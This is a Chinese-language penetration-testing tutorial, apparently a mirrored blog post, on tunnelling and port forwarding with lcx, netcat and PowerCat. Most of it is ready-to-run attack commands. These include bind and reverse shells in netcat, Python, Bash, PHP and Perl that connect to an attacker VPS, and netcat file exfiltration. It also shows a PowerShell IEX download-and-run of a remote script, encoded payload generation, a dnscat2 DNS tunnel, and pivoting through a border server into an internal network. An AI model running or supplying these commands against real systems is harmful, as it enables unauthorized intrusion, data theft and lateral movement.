0

传输层隧道技术

 1 year ago
source link: https://joker-vip.github.io/2022/05/04/3.3%20%E4%BC%A0%E8%BE%93%E5%B1%82%E9%9A%A7%E9%81%93%E6%8A%80%E6%9C%AF/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

传输层隧道技术

传输层技术包括tcp隧道、udp隧道和常规端口转发。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可以使用IPTABles打开指定端口。

1 lcx端口转发

下载地址:https://github.com/UndefinedIdentifier/LCX

1.1 内网端口转发

在受害机上执行

lcx.exe -slave 192.168.1.4(攻击机公网主机IP) 4444 127.0.0.1 3389

这条命令的意思就是将本机的3389端口转发到攻击机的4444端口上

之后在攻击机上执行

lcx.exe -listen 4444 5555

1.2 本地端口映射

由于部分端口受防火墙限制,可以将目标服务器相应端口的数据透传到防火墙允许的其他端口,在目标主机上执行如下命令。就可以直接从远程桌面连接目标主机的53端口。

lcx -tran 53 <目标主机IP地址> 3389

2 netcat

sudo yum install nc.x86_64

2.1 命令查询

nc -h
-g<网关>:设置路由器跃程通信网关,最多设置8个;
-G<指向器数目>:设置来源路由指向器,其数值为4的倍数;
-h:在线帮助;
-i<延迟秒数>:设置时间间隔,以便传送信息及扫描通信端口;
-l:使用监听模式,监控传入的资料;
-n:直接使用ip地址,而不通过域名服务器;
-o<输出文件>:指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p<通信端口>:设置本地主机使用的通信端口;
-r:指定源端口和目的端口都进行随机的选择;
-s<来源位址>:设置本地主机送出数据包的IP地址;
-u:使用UDP传输协议;
-v:显示指令执行过程;
-w<超时秒数>:设置等待连线的时间;
-z:使用0输入/输出模式,只在扫描通信端口时使用。

2.2 简易使用

Banner抓取

nc -nv 192.168.137.1 21

连接远程主机

nc -nvv 192.168.131.1 80
单个端口扫描:
nc -v 192.168.131.1 80
扫描端口段(速度慢):
nc -v -z 192.168.137.1 20-1024
nc -l -p 9999
主机vps输入监听:
nc -lp 333 > 1.txt
目标传输一个名为test.txt的文件
nc -vn 192.168.137.1 333 < test.txt -q 1
主机vps输入监听:
nc -l -p 888
目标主机输入:
nc -vn 192.168.137.1 888

2.3 获取shell

正向shell

输入以下命令,监听目标主机的4444端口

nc -lvp 4444 -e /bin/sh            //Linux
nc -lvp 4444 -e c:\windows\system\cmd.exe //windows

在本地或VPS主机上来连接目标主机的4444端口

nc 192.168.137.100 4444

反向shell

输入以下命令,在本地或VPS主机上监听本地9999端口

nc -lvp 9999

在目标主机中输入以下命令,连接VPS主机192.168.137.1的9999端口

nc 192.168.137.1 9999 -e /bin/sh                       //Linux
nc 192.168.137.1 9999 -e c:\windows\system32\cmd.exe //windows

2.4 在目标主机中没有nc时获取反向shell

(1)python反向shell

在VPS上监听本地2222端口

nc -lvp 2222

在目标主机上执行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPS_ip",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(2)Bash反向shell

在VPS上监听本地4444端口

nc -lvp 4444

在目标主机上执行如下命令

bash -i >& /dev/tcp/192.168.137.1/4444 0>&1

(3)php反向shell

在VPS上监听本地2222端口

nc -lvp 2222

在目标主机上执行如下命令

php -r '$sock=fsockopen("192.168.137.1",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

(4)perl反向shell

在VPS上监听本地4444端口

nc -lvp 4444

在目标主机上执行如下命令

perl -e 'use Socket;$i="VPS_ip";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2.5 内网代理

在VPS中输入如下命令,监听3333端口

nc -lvp 3333

接着在内网服务器执行如下命令

nc -lvp 3333 -e /bin/sh

在边界服务器上执行如下命令

nc -v 192.168.137.100(边界服务器出口ip) 3333 -c "nc -v 10.10.10.200(内网服务器ip) 3333"

3 PowerCat

PowerCat下载地址:https://github.com/besimorhino/powercat.git

Set-ExecutionPolicy RemoteSigned

使用前先导入 ps脚本

Import-Module .\powercat.ps1

powercat部分参数介绍

-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式
-e 程序重定向

3.1 通过nc正向连接Powercat

在目标服务器中执行以下命令

powercat -l -p 8080 -e cmd.exe -v

在VPS中执行

netcat 边界服务器的出口ip 8080 -vv

3.2 通过nc反向连接powercat

在VPS执行下列命令:

netcat -l -p 8888 -vv

在win7(边界服务器)执行:

powercat -c 192.168.137.1(VPS的ip) -p 8888 -v -e cmd.exe

3.3 通过Powercat返回Powershell

在Winserver2008(内网服务器)中执行:

IEX(New-Object Net.WebClient).DownloadString('http://1.1.1.10/powercat.ps1')
powercat -l -v -p 9999

在win7(边界服务器)中执行:

powercat -c 10.10.10.201(内网服务器ip) -p 9999 -v -ep

3.4 通过Powercat传输文件

在win7(边界服务器)新建test.txt文件,放在c盘根目录,在winserver2008(内网服务器)中执行下列命令。

powercat -l -p 9999 -of test.txt -v

回到win7(边界服务器)中,执行如下命令:

powercat -c 10.10.10.201(内网服务器ip) -p 9999 -i c:\test.txt -v

3.5 用PowerCat生成Payload

在Win7(边界服务器)执行下面命令:

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将生成的ps1文件上传到Winserver2008(内网服务器)中并且执行,然后在win7中执行如下命令,就可以获得一个反弹shell:

powercat -c 10.10.10.201(内网服务器ip) -p 8000 -v

如果想反弹Powershell,可以执行如下命令:

powercat -l -p 8000 -ep -v -g >> shell.ps1

生成经过编码的Payload。在win7(边界服务器)执行如下命令:

powercat -c 10.10.10.201(内网服务器ip) -p 9999 -ep -ge

继续在win7(边界服务器)执行:

powercat -l -p 9999 -v

3.6 Powercat DNS隧道通信

首先需要安装dnscat,然后在安装了dnscat的linux的VPS主机上执行如下命令:

ruby dnscat2.rb ttpowercat.test -e open --no-cache

然后在win7(边界服务器)上执行下面命令,就能看到dnscat上面的反弹shell:

powercat -c 192.168.137.1(攻击服务器VPS的ip) -p 53 -dns ttpowercat.test -e cmd.exe

3.7 将Powercat作为跳板

将win7(边界服务器)作为跳板,让Kali(VPS)连接winserver2008(内网服务器)。首先,在winserver2008(内网服务器)中执行:

powercat -l -v -p 9999 -e cmd.exe

然后在win7(边界服务器)中执行:

powercat -l -v -p 8000 -r tcp:10.10.10.201(内网服务器ip):9999

最后,让kali(VPS)和win7(边界服务器)进行连接,win7(边界服务器)就可以将流量转发给winserver2008(内网服务器)。
在kali(VPS)输入:

nc 192.168.137.100(边界服务器出口ip) 8000 -vv

成功连接。
在这里也可以使用DNS协议。在win7(边界服务器)中执行如下命令:

powercat -l -p 8000 -r dns::192.168.137.1(攻击服务器VPS的ip)::ttpowercat.test

在kali(VPS)中输入如下命令,启动dnscat

ruby dnscat2.rb ttpowercat.test -e open --no-cache

在winserver2008内网服务器)中输入下面命令,就可以反弹shell了

powercat -c -10.10.10.200(边界服务器的内网ip) -p 8000 -v -e cmd.exe

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK